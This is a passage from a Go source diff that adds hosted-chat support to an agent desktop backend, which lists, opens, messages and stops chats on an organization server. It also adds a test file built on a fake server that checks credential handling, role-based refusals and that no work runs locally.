link.client.Err() != nil { + return appHostedDoorError(link.door, link.door.unreachable()) + } + return appHostedWords(appwire.CodeConflict, link.door, err.Error()) +} + +func (b *appBackend) RefuseHostedAction(org string) error { + return appwire.Errorf(appwire.CodeBadParams, "That is not available for a chat on %s.", b.hostedHost(org)) +} + +func (b *appBackend) hostedHost(org string) string { + if hub := b.factoryHub(); hub != nil { + row, _, _ := hub.lookup(org) + return orgHostName(row.URL) + } + return orgHostName("") +} + +func (b *appBackend) hostedCredentialStillHeld(org string, door *orgDoor) error { + row, token, err := b.factoryHub().lookup(org) + switch { + case err != nil || token == "": + return appHostedSignIn(door.host) + case token != door.token || !sameOrigin(door.base, row.URL): + return appwire.Errorf(appwire.CodeConflict, "The sign-in to %s changed. Try again.", door.host) + } + return nil +} + +func appHostedFacts(ref appHostedRef, row appHostedRow, own bool, door *orgDoor) *appwire.HostedFacts { + facts := &appwire.HostedFacts{Org: ref.org, Session: ref.session, Note: door.clean(row.Warning)} + if own { + facts.Verbs = slices.Clone(acl.Verbs) + return facts + } + facts.Owner, facts.Role = door.clean(row.Owner), door.clean(row.Role) + for _, role := range appHostedRoles { + if role.Name == row.Role { + facts.Verbs = slices.Clone(role.Verbs) + return facts + } + } + facts.Verbs = []string{acl.VerbView} + return facts +} + +func appHostedRowView(org string, row appHostedRow, own bool, door *orgDoor) appwire.Agent { + state := appwire.StateIdle + if row.State == "stopped" { + state = appwire.StateStopped + } + at := row.LastActive.Time + if at.IsZero() { + at = row.Created.Time + } + return appwire.Agent{ + ID: appwire.HostedAgentID(row.ID, org), State: state, UpdatedAt: at, LastActiveAt: row.LastActive.Time, + Hosted: appHostedFacts(appHostedRef{org: org, session: row.ID}, row, own, door), + } +} + +func (b *appBackend) readHostedList(ctx context.Context, org string, door *orgDoor) (appwire.HostedListResult, error) { + var list struct { + Sessions []appHostedRow `json:"sessions"` + Shared []appHostedRow `json:"shared"` + Hosting map[string]json.RawMessage `json:"hosting"` + } + callErr := door.call(ctx, http.MethodGet, orgSessionsPath, &list) + if callErr != nil { + // With hosted chats off, the server has no list route. + var refusal *orgDoorError + if !errors.As(callErr, &refusal) || refusal.status != http.StatusNotFound || refusal.serverSaid { + return appwire.HostedListResult{}, appHostedDoorError(door, callErr) + } + } + if err := b.hostedCredentialStillHeld(org, door); err != nil { + return appwire.HostedListResult{}, err + } + agents := make([]appwire.Agent, 0, len(list.Sessions)+len(list.Shared)) + for _, row := range list.Sessions { + if appwire.ValidHostedSessionID(row.ID) && row.Access != "operator" { + agents = append(agents, appHostedRowView(org, row, true, door)) + } + } + for _, row := range list.Shared { + if appwire.ValidHostedSessionID(row.ID) && row.Access == "shared" { + agents = append(agents, appHostedRowView(org, row, false, door)) + } + } + return appwire.HostedListResult{Agents: agents, Available: callErr == nil, Hosting: list.Hosting}, nil +} + +func (b *appBackend) HostedList(org string) (appwire.HostedListResult, error) { + ctx := context.Background() + door, err := b.hostedDoor(ctx, org) + if err != nil { + return appwire.HostedListResult{}, err + } + defer door.http.CloseIdleConnections() + result, err := b.readHostedList(ctx, org, door) + if err != nil { + return appwire.HostedListResult{}, err + } + agents := result.Agents + slices.SortStableFunc(agents, func(a, b appwire.Agent) int { return b.UpdatedAt.Compare(a.UpdatedAt) }) + b.locked(func() { + for i := range agents { + row := &agents[i] + a := b.hostedAgents[row.ID] + if a == nil { + continue + } + // The server has confirmed that this caller can read the chat. + row.Title = a.view.Title + if a.live != nil && a.live.conn.hosted.door.token == door.token && sameOrigin(a.live.conn.hosted.door.base, door.base) { + a.view.Hosted = row.Hosted + row.State = a.view.State + } + } + }) + return result, nil +} + +func (b *appBackend) findHosted(id string, ref appHostedRef) (*appAgent, error) { + b.mu.Lock() + defer b.mu.Unlock() + if b.closing { + return nil, appwire.Errorf(appwire.CodeClosed, "codeaf is shutting down") + } + if b.hostedAgents == nil { + b.hostedAgents = make(map[string]*appAgent) + } + a := b.hostedAgents[id] + if a == nil { + a = &appAgent{ + hosted: &ref, + view: appwire.Agent{ + ID: id, State: appwire.StateIdle, + Hosted: &appwire.HostedFacts{Org: ref.org, Session: ref.session, Verbs: []string{acl.VerbView}}, + }, + } + b.hostedAgents[id] = a + } + return a, nil +} + +func (b *appBackend) createHostedAgent(ask appwire.CreateAsk) (appwire.Agent, error) { + ctx := context.Background() + door, err := b.hostedDoor(ctx, ask.Org) + if err != nil { + return appwire.Agent{}, err + } + defer door.http.CloseIdleConnections() + if len(ask.Attachments) > 0 { + return appwire.Agent{}, appHostedAttachments(door.host) + } + if err := (session.Submission{ClientID: ask.ClientID}).Check(); err != nil { + return appwire.Agent{}, appEngineError(err) + } + if b.isClosing() { + return appwire.Agent{}, appwire.Errorf(appwire.CodeClosed, "codeaf is shutting down") + } + var row appHostedRow + if err := door.call(ctx, http.MethodPost, orgSessionsPath, &row); err != nil { + return appwire.Agent{}, appHostedDoorError(door, err) + } + if !appwire.ValidHostedSessionID(row.ID) { + return appwire.Agent{}, appwire.Errorf(appwire.CodeConflict, "%s sent back something this program cannot use.", door.host) + } + if err := b.hostedCredentialStillHeld(ask.Org, door); err != nil { + return appwire.Agent{}, err + } + view := appHostedRowView(ask.Org, row, true, door) + a, err := b.find(view.ID) + if err != nil { + return appwire.Agent{}, err + } + a.gate.Lock() + defer a.gate.Unlock() + if _, err := b.attachHosted(a, door, &view); err != nil { + return appwire.Agent{}, err + } + if words := strings.TrimSpace(ask.Text); words != "" { + if _, err := b.startLocked(a, words, ask.ClientID, appHostedSaid(words, ask.Said, "")); err != nil { + return appwire.Agent{}, err + } + } + b.locked(func() { view = a.view }) + return view, nil +} + +func (b *appBackend) openHostedAgent(id string, warm bool) (appwire.Agent, error) { + a, err := b.find(id) + if err != nil { + return appwire.Agent{}, err + } + a.gate.Lock() + defer a.gate.Unlock() + var view appwire.Agent + b.locked(func() { view = a.view }) + if warm && view.State == appwire.StateClosed { + return appwire.Agent{}, b.RefuseHostedAction(a.hosted.org) + } + if _, err := b.ensureHosted(a); err != nil { + return appwire.Agent{}, err + } + b.locked(func() { view = a.view }) + return view, nil +} + +// ensureHosted acquires a wire under the agent's gate and checks the held +// caller on every action so a changed sign-in cannot reuse a previous view. +func (b *appBackend) ensureHosted(a *appAgent) (*appLive, error) { + var id string + b.locked(func() { id = a.view.ID }) + door, err := b.hostedDoor(context.Background(), a.hosted.org) + live := b.liveOf(a) + if live != nil && (err != nil || live.conn.hosted.client.Err() != nil || live.conn.hosted.door.token != door.token || !sameOrigin(live.conn.hosted.door.base, door.base)) { + b.release(a) + live = nil + } + if err != nil { + return nil, err + } + defer door.http.CloseIdleConnections() + if live != nil { + return live, nil + } + // An id can come from an earlier app process. The server supplies its current + // sharing facts, and the wire itself still decides whether the chat opens. + list, err := b.readHostedList(context.Background(), a.hosted.org, door) + if err != nil { + return nil, err + } + if !list.Available { + return nil, b.RefuseHostedAction(a.hosted.org) + } + for _, row := range list.Agents { + if row.ID == id { + return b.attachHosted(a, door, &row) + } + } + unknown := appwire.Agent{ID: id, Hosted: appHostedFacts(*a.hosted, appHostedRow{}, false, door)} + return b.attachHosted(a, door, &unknown) +} + +// attachHosted publishes a remote view without introducing any local ownership. +func (b *appBackend) attachHosted(a *appAgent, door *orgDoor, view *appwire.Agent) (*appLive, error) { + if live := b.liveOf(a); live != nil { + return live, nil + } + if b.isClosing() { + return nil, appwire.Errorf(appwire.CodeClosed, "codeaf is shutting down") + } + ask := appOpenAsk{Hosted: &appHostedOpen{ref: *a.hosted, door: door}, ClockS: appProposedClockS} + _ = b.state.read(func(f *appStateFile) { ask.ClockS = f.clock() }) + conn, err := b.open(ask) + if err != nil { + return nil, err + } + if err := b.hostedCredentialStillHeld(a.hosted.org, door); err != nil { + conn.Release() + return nil, err + } + + live := b.newLive(conn, b.hostedEmit) + live.lanesDone = nil + startTitles := b.prepareTitles(a, live) + title, model := conn.Conv.Title(), conn.Conv.Model() + if welcome := conn.hosted.client.Welcome(); welcome.Facts == nil { + // Older welcomes carry the chat's name and model directly. + title, model = welcome.Title, welcome.Model + } + view.Title, view.Model = door.clean(title), door.clean(model) + view.State, view.Context = appwire.StateIdle, appContextOf(conn.Conv) + accepted := false + b.locked(func() { + if b.closing { + return + } + a.view, a.live, a.users, a.marks = *view, live, conn.UserMessages, nil + accepted = true + }) + if !accepted { + if live.stopTitles != nil { + live.stopTitles() + } + conn.Release() + live.box.Close() + return nil, appwire.Errorf(appwire.CodeClosed, "codeaf is shutting down") + } + b.hostedEmit.Emit(appwire.EventAgentChanged, appwire.AgentChanged{Agent: *view}) + startTitles() + questions, stop := conn.Conv.WatchQuestions() + live.stopAsks = stop + live.stopWakes = b.watchWakes(a, live) + live.stopPasses = b.watchPasses(a, live) + guard.Go("app/hosted asks", func() { + defer close(live.asksDone) + for event := range questions { + b.questionEvent(a, view.ID, live, event) + } + b.died(a, live) + }) + return live, nil +} + +func appHostedAttachments(host string) error { + return appwire.Errorf(appwire.CodeBadParams, "Attachments cannot go to a chat on %s yet.", host) +} + +func appHostedSaid(text string, said *string, from string) *appSending { + if said == nil && from == "" { + return nil + } + if said != nil { + text = *said + } + return &appSending{text: text, from: from} +} + +func (b *appBackend) sendHosted(id string, message appwire.AgentMessage) (uint64, error) { + a, err := b.find(id) + if err != nil { + return 0, err + } + if len(message.Attachments) != 0 || message.Submission != nil { + return 0, appHostedAttachments(b.hostedHost(a.hosted.org)) + } + if len(message.Reads) != 0 { + return 0, b.RefuseHostedAction(a.hosted.org) + } + if err := (session.Submission{ClientID: message.ClientID}).Check(); err != nil { + return 0, appEngineError(err) + } + a.gate.Lock() + defer a.gate.Unlock() + if _, err := b.ensureHosted(a); err != nil { + return 0, err + } + return b.startLocked(a, message.Text, message.ClientID, appHostedSaid(message.Text, message.Said, message.From)) +} + +func (b *appBackend) hostedEntries(a *appAgent, before string, limit int) (appwire.EntriesResult, error) { + a.gate.Lock() + defer a.gate.Unlock() + live, err := b.ensureHosted(a) + if err != nil { + return appwire.EntriesResult{}, err + } + link := live.conn.hosted + record, err := link.client.Agent().ReadHistory() + if err != nil { + return appwire.EntriesResult{}, link.wireError(err) + } + var id string + var at time.Time + marks := map[int]appTurnMark{} + b.locked(func() { + id, at = a.view.ID, a.view.UpdatedAt + for n, mark := range a.marks { + marks[n] = mark + } + }) + entries, more, err := appEntryPage(id, record, at, marks, before, limit, nil) + return appwire.EntriesResult{Entries: entries, More: more}, err +} + +func (b *appBackend) stopHosted(id string) error { + a, err := b.find(id) + if err != nil { + return err + } + a.gate.Lock() + defer a.gate.Unlock() + live, err := b.ensureHosted(a) + if err != nil { + return err + } + link := live.conn.hosted + b.locked(func() { live.stopping = live.running }) + if err := link.client.Agent().InterruptWithinErr(session.StopGrace); err != nil { + b.locked(func() { live.stopping = false }) + return link.wireError(err) + } + return nil +} + +func (b *appBackend) listHostedAsks(id string) ([]appwire.Ask, error) { + a, err := b.find(id) + if err != nil { + return nil, err + } + a.gate.Lock() + defer a.gate.Unlock() + live, err := b.ensureHosted(a) + if err != nil { + return nil, err + } + questions := live.conn.hosted.client.Agent().OpenQuestions() + asks := make([]appwire.Ask, 0, len(questions)) + for _, q := range questions { + ask := appAskOf(id, q) + appAskFacts(id, &ask, q) + asks = append(asks, ask) + } + return asks, nil +} + +func (b *appBackend) answerHostedAsk(id, askID, option, text, scope string, secretDoor bool) error { + a, err := b.find(id) + if err != nil { + return err + } + a.gate.Lock() + defer a.gate.Unlock() + live, err := b.ensureHosted(a) + if err != nil { + return err + } + link := live.conn.hosted + for _, q := range link.client.Agent().OpenQuestions() { + if appAskID(id, q) != askID { + continue + } + if secretDoor && !q.SecretAnswer() { + return appwire.Errorf(appwire.CodeBadParams, "That question does not take a secret.") + } + if !secretDoor && q.SecretAnswer() && strings.TrimSpace(text) != "" { + return appwire.Errorf(appwire.CodeBadParams, "Use the secret field to answer this question.") + } + if option == appwire.OptionAlways || scope != "" { + return b.RefuseHostedAction(a.hosted.org) + } + key, err := appValidateQuestionAnswer(askID, q, option, text, scope) + if err != nil { + return err + } + answer := session.Answer{Kind: q.Kind, ID: q.ID, Ref: q.Ref, Ask: q.Ask, Key: key, Change: strings.TrimSpace(text)} + if key != "" { + answer.Picked = []string{key} + } + b.locked(func() { live.answered[askID] = appAnsweredMark + option }) + if err := link.client.Agent().ResolveQuestion(answer); err != nil { + b.locked(func() { delete(live.answered, askID) }) + return link.wireError(err) + } + return nil + } + return appwire.Errorf(appwire.CodeNotFound, "That question is no longer open.") +} diff --git a/cmd/codeaf/apphosted_test.go b/cmd/codeaf/apphosted_test.go new file mode 100644 index 0000000000..dee89c193f --- /dev/null +++ b/cmd/codeaf/apphosted_test.go @@ -0,0 +1,543 @@ +package main + +import ( + "context" + "crypto/rand" + "encoding/json" + "errors" + "io" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "reflect" + "slices" + "strings" + "sync" + "testing" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/appwire" + "github.com/Agent-Field/codeaf/internal/config" + "github.com/Agent-Field/codeaf/internal/factory/acl" + "github.com/Agent-Field/codeaf/internal/remote" + "github.com/Agent-Field/codeaf/internal/session" +) + +const hostedTestOrg = "factory_0123456789abcdef" + +const hostedTestQuestion = "What should I do next?" + +type hostedTestRow struct { + appwire.Agent + Hosted *struct { + Org, Session, Owner, Role, Note string + Verbs []string + } `json:"hosted"` +} + +type hostedTestServer struct { + server *httptest.Server + bearer string + calls chan remote.Frame + closed chan struct{} + session string + mu sync.Mutex + list string + status int + refusal string + guest string + seen []string +} + +func newHostedTestServer(t *testing.T) *hostedTestServer { + t.Helper() + f := &hostedTestServer{ + bearer: rand.Text(), calls: make(chan remote.Frame, 64), closed: make(chan struct{}, 8), + session: orgID('a'), list: `{"sessions":[]}`, + } + f.server = httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + f.mu.Lock() + f.seen = append(f.seen, r.Method+" "+r.URL.RequestURI()) + list, status, refusal, guest := f.list, f.status, f.refusal, f.guest + f.mu.Unlock() + if r.Header.Get("Authorization") != "Bearer "+f.bearer { + t.Error("the organization did not receive its held sign-in in Authorization") + } + body, _ := io.ReadAll(r.Body) + if strings.Contains(r.URL.String(), f.bearer) || strings.Contains(string(body), f.bearer) { + t.Error("the sign-in appeared outside Authorization") + } + for name, values := range r.Header { + if name != "Authorization" && strings.Contains(strings.Join(values, " "), f.bearer) { + t.Errorf("the sign-in appeared in the %s header", name) + } + } + if status != 0 { + if status == http.StatusNotFound && refusal == "" { + http.NotFound(w, r) + return + } + w.WriteHeader(status) + _ = json.NewEncoder(w).Encode(map[string]string{"error": refusal}) + return + } + switch r.URL.Path { + case "/v1/hosted/sessions": + if r.Method == http.MethodPost { + _ = json.NewEncoder(w).Encode(map[string]string{"id": f.session, "state": "running"}) + } else { + _, _ = io.WriteString(w, list) + } + case "/v1/hosted/sessions/" + f.session + "/wire": + f.wire(t, w, r, guest) + default: + t.Errorf("unexpected organization request %s %s", r.Method, r.URL.Path) + w.WriteHeader(http.StatusNotFound) + } + })) + t.Cleanup(f.server.Close) + return f +} + +func (f *hostedTestServer) wire(t *testing.T, w http.ResponseWriter, r *http.Request, guest string) { + socket, err := websocket.Accept(w, r, nil) + if err != nil { + t.Error(err) + return + } + conn := websocket.NetConn(context.Background(), socket, websocket.MessageBinary) + defer func() { + _ = conn.Close() + f.closed <- struct{}{} + }() + decoder, encoder := json.NewDecoder(conn), json.NewEncoder(conn) + send := func(kind string, id uint64, value any, refusal string) { + payload, _ := json.Marshal(value) + _ = encoder.Encode(remote.Frame{Kind: kind, ID: id, Payload: payload, Error: refusal}) + } + for { + var frame remote.Frame + if decoder.Decode(&frame) != nil { + return + } + if strings.Contains(string(frame.Payload), f.bearer) { + t.Error("the sign-in appeared on the conversation wire") + } + if frame.Kind == "hello" { + f.calls <- frame + users := 1 + send("welcome", 0, remote.Welcome{Version: remote.Version, Title: "Hosted chat", UserMessages: &users}, "") + continue + } + switch frame.Method { + case remote.MethodTranscript: + send("result", frame.ID, []session.DisplayEntry{{Role: "user", Text: "From this chat's history."}, {Role: "assistant", Text: "Its reply."}}, "") + case remote.MethodQuestionWatch: + send("result", frame.ID, nil, "") + if guest != "" { + q := &session.Question{Kind: session.QuestionAsk, ID: 4, Head: hostedTestQuestion} + send("question", 0, remote.WireEvent(session.Event{Kind: session.EventQuestion, Question: q}), "") + } + case remote.MethodQuestionResolve: + f.calls <- frame + send("result", frame.ID, nil, guest) + case remote.MethodSubmit: + f.calls <- frame + if guest != "" { + send("result", frame.ID, nil, guest) + continue + } + send("result", frame.ID, remote.StreamRef{Stream: frame.ID}, "") + send("closed", frame.ID, nil, "") + case remote.MethodInterrupt: + f.calls <- frame + send("result", frame.ID, nil, guest) + default: + send("result", frame.ID, nil, "") + } + } +} + +func (f *hostedTestServer) requests() []string { + f.mu.Lock() + defer f.mu.Unlock() + return slices.Clone(f.seen) +} + +func hostedTestHome(t *testing.T) { + t.Helper() + root := t.TempDir() + t.Setenv("HOME", filepath.Join(root, "home")) + t.Setenv("CODEAF_HOME", filepath.Join(root, "state")) + t.Setenv(config.ProfileDirEnv, filepath.Join(root, "profile")) +} + +func hostedTestBackend(t *testing.T, base, token string) (*actionWire, *appRecorder) { + t.Helper() + out := newAppRecorder() + b := newFakeBackend(out, func(appOpenAsk) (*appConn, error) { + t.Error("hosted chat reached the local opener") + return nil, errors.New("unexpected local open") + }) + t.Cleanup(func() { + _ = b.Close() + if token == "" { + return + } + out.mu.Lock() + defer out.mu.Unlock() + for i, data := range out.data { + body, err := json.Marshal(data) + if err != nil { + t.Error(err) + } + if strings.Contains(string(body), token) { + t.Errorf("the sign-in appeared in the %s event", out.events[i]) + } + } + }) + b.mint = func(string) (string, error) { + t.Error("hosted chat reached the local mint") + return "", errors.New("unexpected local mint") + } + h := b.factoryHub() + h.mu.Lock() + h.rows = []appFactoryRow{{ID: hostedTestOrg, URL: base, Mode: "team"}} + h.loaded = true + h.mu.Unlock() + if token != "" { + h.hold(hostedTestOrg, token, time.Hour) + } + return newActionWire(t, b), out +} + +func hostedTestCall[T any](t *testing.T, w *actionWire, method string, input any) T { + t.Helper() + raw, err := w.call(method, input) + if err != nil { + t.Fatalf("%s: %v", method, err) + } + var result T + if err := json.Unmarshal(raw, &result); err != nil { + t.Fatalf("%s: %v", method, err) + } + return result +} + +func hostedTestPlaces(t *testing.T) map[string]bool { + t.Helper() + tree := map[string]bool{} + err := filepath.WalkDir(session.PlacesRoot(), func(path string, d os.DirEntry, err error) error { + if err != nil { + return err + } + tree[path] = d.IsDir() + return nil + }) + if err != nil && !os.IsNotExist(err) { + t.Fatal(err) + } + return tree +} + +func hostedTestNext[T any](t *testing.T, ch <-chan T) T { + t.Helper() + select { + case value := <-ch: + return value + case <-time.After(5 * time.Second): + t.Fatal("the server did not see the expected wire action") + var zero T + return zero + } +} + +func TestAppHostedV1CreateOnOrganizationServer(t *testing.T) { + hostedTestHome(t) + f := newHostedTestServer(t) + w, _ := hostedTestBackend(t, f.server.URL, f.bearer) + places := hostedTestPlaces(t) + workspace := filepath.Join(t.TempDir(), "untouched") + const first = "The first message for this organization." + got := hostedTestCall[struct{ Agent hostedTestRow }](t, w, "agents.create", map[string]string{ + "org": hostedTestOrg, "workspace": workspace, "text": first, + }).Agent + if got.ID != f.session+"_"+hostedTestOrg || got.Hosted == nil || got.Hosted.Org != hostedTestOrg || got.Workspace != "" { + t.Fatalf("hosted create = %+v, hosted = %+v", got.Agent, got.Hosted) + } + if !slices.Contains(w.hello, "agents.hosted") { + t.Fatal("the app did not advertise hosted chats") + } + var hello remote.Hello + frame := hostedTestNext(t, f.calls) + if frame.Kind != "hello" || json.Unmarshal(frame.Payload, &hello) != nil || hello.Launch == nil || !hello.Launch.Interactive || hello.Workspace != "" { + t.Fatal("the hosted wire did not receive the desktop launch") + } + var submit remote.SubmitArgs + frame = hostedTestNext(t, f.calls) + if frame.Method != remote.MethodSubmit || json.Unmarshal(frame.Payload, &submit) != nil || submit.Text != first { + t.Fatal("the server conversation did not receive the first message") + } + local := hostedTestCall[appwire.AgentsResult](t, w, "agents.list", struct{}{}) + if len(local.Agents) != 0 || !reflect.DeepEqual(places, hostedTestPlaces(t)) { + t.Fatal("creating a hosted chat changed the local inventory or places") + } + if _, err := os.Stat(workspace); !os.IsNotExist(err) { + t.Fatalf("the local workspace was touched: %v", err) + } + if want := []string{"POST /v1/hosted/sessions", "GET /v1/hosted/sessions/" + f.session + "/wire"}; !slices.Equal(want, f.requests()) { + t.Fatalf("requests = %v, want %v", f.requests(), want) + } +} + +func TestAppHostedV2ListOnlyOwnAndShared(t *testing.T) { + hostedTestHome(t) + f := newHostedTestServer(t) + f.list = `{"sessions":[ + {"id":"` + orgID('a') + `","state":"running","last_active":7}, + {"id":"` + orgID('b') + `","state":"stopped","created":6}, + {"id":"bad","state":"running"} + ],"shared":[ + {"id":"` + orgID('c') + `","state":"running","last_active":8,"access":"shared","role":"edit","owner":"noor"}, + {"id":"` + orgID('d') + `","state":"running","last_active":9,"access":"operator"} + ],"hosting":{"local_sessions":true}}` + w, _ := hostedTestBackend(t, f.server.URL, f.bearer) + type listed struct{ Agents []hostedTestRow } + got := hostedTestCall[listed](t, w, "agents.hosted_list", map[string]string{"org": hostedTestOrg}).Agents + if len(got) != 3 { + t.Fatalf("listed %d chats, want three", len(got)) + } + for i, session := range []string{orgID('c'), orgID('a'), orgID('b')} { + if got[i].Hosted == nil || got[i].Hosted.Session != session || got[i].Title != "" { + t.Fatalf("row %d = %+v", i, got[i]) + } + } + shared := got[0].Hosted + if shared.Owner != "noor" || shared.Role != "edit" || + !slices.Contains(shared.Verbs, "run") || !slices.Contains(shared.Verbs, "steer") || !slices.Contains(shared.Verbs, "answer") { + t.Fatalf("shared access = %+v", shared) + } + if got[1].State != "idle" || got[2].State != "stopped" || !slices.Equal(got[1].Hosted.Verbs, acl.Verbs) { + t.Fatalf("owner rows = %+v, %+v", got[1], got[2]) + } + f.mu.Lock() + f.list = `{"shared":[{"id":"` + orgID('c') + `","access":"shared","role":"new-role"}]}` + f.mu.Unlock() + got = hostedTestCall[listed](t, w, "agents.hosted_list", map[string]string{"org": hostedTestOrg}).Agents + if len(got) != 1 || got[0].Hosted == nil || !slices.Equal(got[0].Hosted.Verbs, []string{"view"}) { + t.Fatalf("unknown role rows = %+v", got) + } + f.mu.Lock() + f.list = "" + f.mu.Unlock() + got = hostedTestCall[listed](t, w, "agents.hosted_list", map[string]string{"org": hostedTestOrg}).Agents + if got == nil || len(got) != 0 { + t.Fatalf("empty list = %#v", got) + } +} + +func TestAppHostedV3ReopenHistoryAndDetach(t *testing.T) { + hostedTestHome(t) + f := newHostedTestServer(t) + f.list = `{"sessions":[{"id":"` + f.session + `","state":"running"}]}` + w, _ := hostedTestBackend(t, f.server.URL, f.bearer) + p := map[string]string{"id": f.session + "_" + hostedTestOrg} + places := hostedTestPlaces(t) + for i := 0; i < 2; i++ { + got := hostedTestCall[struct{ Agent hostedTestRow }](t, w, "agents.open", p).Agent + if got.ID != p["id"] || got.Title != "Hosted chat" || got.Hosted == nil || !slices.Equal(got.Hosted.Verbs, acl.Verbs) { + t.Fatalf("opened chat = %+v, hosted = %+v", got.Agent, got.Hosted) + } + page := hostedTestCall[appwire.EntriesResult](t, w, "agents.entries", p) + if len(page.Entries) != 2 || page.Entries[0].Text != "From this chat's history." || page.Entries[1].Text != "Its reply." { + t.Fatalf("hosted history = %+v", page) + } + older := hostedTestCall[appwire.EntriesResult](t, w, "agents.entries", map[string]any{ + "id": p["id"], "before": page.Entries[1].ID, "limit": 1, + }) + if len(older.Entries) != 1 || older.More || older.Entries[0].ID != page.Entries[0].ID { + t.Fatalf("older hosted history = %+v", older) + } + _, err := w.call("agents.rename", map[string]string{"id": p["id"], "title": "A local title"}) + if err == nil || err.Message != "That is not available for a chat on "+orgHostName(f.server.URL)+"." { + t.Fatalf("local action on hosted chat = %v", err) + } + _ = hostedTestCall[appwire.Empty](t, w, "agents.close", p) + hostedTestNext(t, f.closed) + hello := hostedTestNext(t, f.calls) + if hello.Kind != "hello" { + t.Fatalf("attach %d sent %q", i, hello.Kind) + } + } + upgrades := 0 + for _, request := range f.requests() { + if !strings.HasPrefix(request, "GET ") { + t.Fatalf("open and close sent %s", request) + } + if strings.HasSuffix(request, "/wire") { + upgrades++ + } + } + if upgrades != 2 || len(f.calls) != 0 || !reflect.DeepEqual(places, hostedTestPlaces(t)) { + t.Fatal("reopen and detach did not stay on the two organization wires") + } +} + +func TestAppHostedV5GuestVerbsAndExactRefusal(t *testing.T) { + hostedTestHome(t) + f := newHostedTestServer(t) + const sentence = "You can read this chat but not send a message." + f.guest = sentence + f.list = `{"shared":[{"id":"` + f.session + `","access":"shared","owner":"noor","role":"view"}]}` + w, out := hostedTestBackend(t, f.server.URL, f.bearer) + p := map[string]string{"id": f.session + "_" + hostedTestOrg, "text": "A guest's message."} + rows := hostedTestCall[appwire.AgentsResult](t, w, "agents.hosted_list", map[string]string{"org": hostedTestOrg}).Agents + if len(rows) != 1 || rows[0].Hosted == nil || !slices.Equal(rows[0].Hosted.Verbs, []string{"view"}) { + t.Fatalf("view role in list = %+v", rows) + } + got := hostedTestCall[struct{ Agent hostedTestRow }](t, w, "agents.open", p).Agent + if got.Hosted == nil || !slices.Equal(got.Hosted.Verbs, []string{"view"}) { + t.Fatalf("view role = %+v", got.Hosted) + } + _, err := w.call("agents.send", p) + if err == nil || err.Message != sentence { + t.Fatalf("guest send = %v, want %q", err, sentence) + } + _ = hostedTestNext(t, f.calls) + if frame := hostedTestNext(t, f.calls); frame.Method != remote.MethodSubmit { + t.Fatalf("the guest's send did not reach the server: %s", frame.Method) + } + _, err = w.call("agents.stop", p) + if err == nil || err.Message != sentence { + t.Fatalf("guest stop = %v, want %q", err, sentence) + } + _ = hostedTestNext(t, f.calls) + out.waitFor(t, 5*time.Second, func(name string, data any) bool { + return name == appwire.EventAskOpened && data.(appwire.AskOpened).Ask.Title == hostedTestQuestion + }) + asks := hostedTestCall[appwire.AsksResult](t, w, "asks.list", map[string]string{"agent": got.ID}).Asks + if len(asks) != 1 || asks[0].Title != hostedTestQuestion { + t.Fatalf("guest asks = %+v", asks) + } + _, err = w.call("asks.answer", map[string]string{"agent": got.ID, "id": asks[0].ID, "text": "Continue."}) + if err == nil || err.Message != sentence { + t.Fatalf("guest answer = %v, want %q", err, sentence) + } + if frame := hostedTestNext(t, f.calls); frame.Method != remote.MethodQuestionResolve { + t.Fatalf("the guest's answer did not reach the server: %s", frame.Method) + } +} + +func TestAppHostedV6FailuresNeverRunLocally(t *testing.T) { + for _, name := range []string{"unreachable", "signed out", "revoked", "forbidden", "refused", "attachments"} { + t.Run(name, func(t *testing.T) { + hostedTestHome(t) + f := newHostedTestServer(t) + token, host := f.bearer, orgHostName(f.server.URL) + params := map[string]any{"org": hostedTestOrg, "text": "Run on the server."} + code, words := appwire.CodeSignedOut, "Sign in to "+host+" first." + switch name { + case "unreachable": + f.server.Close() + code, words = appwire.CodeUnreachable, host+" is unreachable." + case "signed out": + token = "" + case "revoked": + f.status, f.refusal = http.StatusUnauthorized, "This sign-in has expired." + case "forbidden": + f.status = http.StatusForbidden + case "refused": + f.status = http.StatusConflict + f.refusal = "This chat cannot start. " + f.bearer + code, words = appwire.CodeConflict, "This chat cannot start." + case "attachments": + params["attachments"] = []map[string]string{{"kind": "file", "path": filepath.Join(t.TempDir(), "untouched")}} + code, words = appwire.CodeBadParams, "Attachments cannot go to a chat on "+host+" yet." + } + w, _ := hostedTestBackend(t, f.server.URL, token) + places := hostedTestPlaces(t) + _, err := w.call("agents.create", params) + if err == nil || err.Code != code || err.Message != words || strings.Contains(err.Message, f.bearer) { + t.Fatalf("error = %v, want %s and %q", err, code, words) + } + if name == "attachments" && len(f.requests()) != 0 { + t.Fatal("an attachment reached the organization before refusal") + } + local := hostedTestCall[appwire.AgentsResult](t, w, "agents.list", struct{}{}) + if len(local.Agents) != 0 || !reflect.DeepEqual(places, hostedTestPlaces(t)) { + t.Fatal("a refused hosted chat changed local places") + } + }) + } +} + +func TestAppHostedV8ListAvailabilityAndHostingPolicy(t *testing.T) { + const refusal = "This chat list is unavailable to you." + const policyWords = " Your organization runs its chats on its own server. " + for _, tc := range []struct { + name string + status int + refusal string + list string + available bool + hosting map[string]string + errorCode string + }{ + {name: "enabled with policy", available: true, + list: `{"sessions":[],"hosting":{"local_sessions":"refuse","words":"` + policyWords + `"}}`, + hosting: map[string]string{"local_sessions": "refuse", "words": policyWords}}, + {name: "enabled with empty policy values", available: true, + list: `{"sessions":[],"hosting":{"local_sessions":"","words":""}}`, + hosting: map[string]string{"local_sessions": "", "words": ""}}, + {name: "enabled without policy", available: true, list: `{"sessions":[]}`}, + {name: "disabled", status: http.StatusNotFound}, + {name: "written 404 refusal", status: http.StatusNotFound, refusal: refusal, errorCode: appwire.CodeConflict}, + {name: "unauthorized", status: http.StatusUnauthorized, errorCode: appwire.CodeSignedOut}, + {name: "forbidden", status: http.StatusForbidden, errorCode: appwire.CodeSignedOut}, + {name: "unreachable", errorCode: appwire.CodeUnreachable}, + } { + t.Run(tc.name, func(t *testing.T) { + hostedTestHome(t) + f := newHostedTestServer(t) + f.status, f.refusal, f.list = tc.status, tc.refusal, tc.list + if tc.errorCode == appwire.CodeUnreachable { + f.server.Close() + } + w, _ := hostedTestBackend(t, f.server.URL, f.bearer) + raw, err := w.call("agents.hosted_list", map[string]string{"org": hostedTestOrg}) + if tc.errorCode != "" { + if err == nil || err.Code != tc.errorCode || (tc.refusal != "" && err.Message != tc.refusal) { + t.Fatalf("error = %v, want %s and any server refusal unchanged", err, tc.errorCode) + } + return + } + if err != nil { 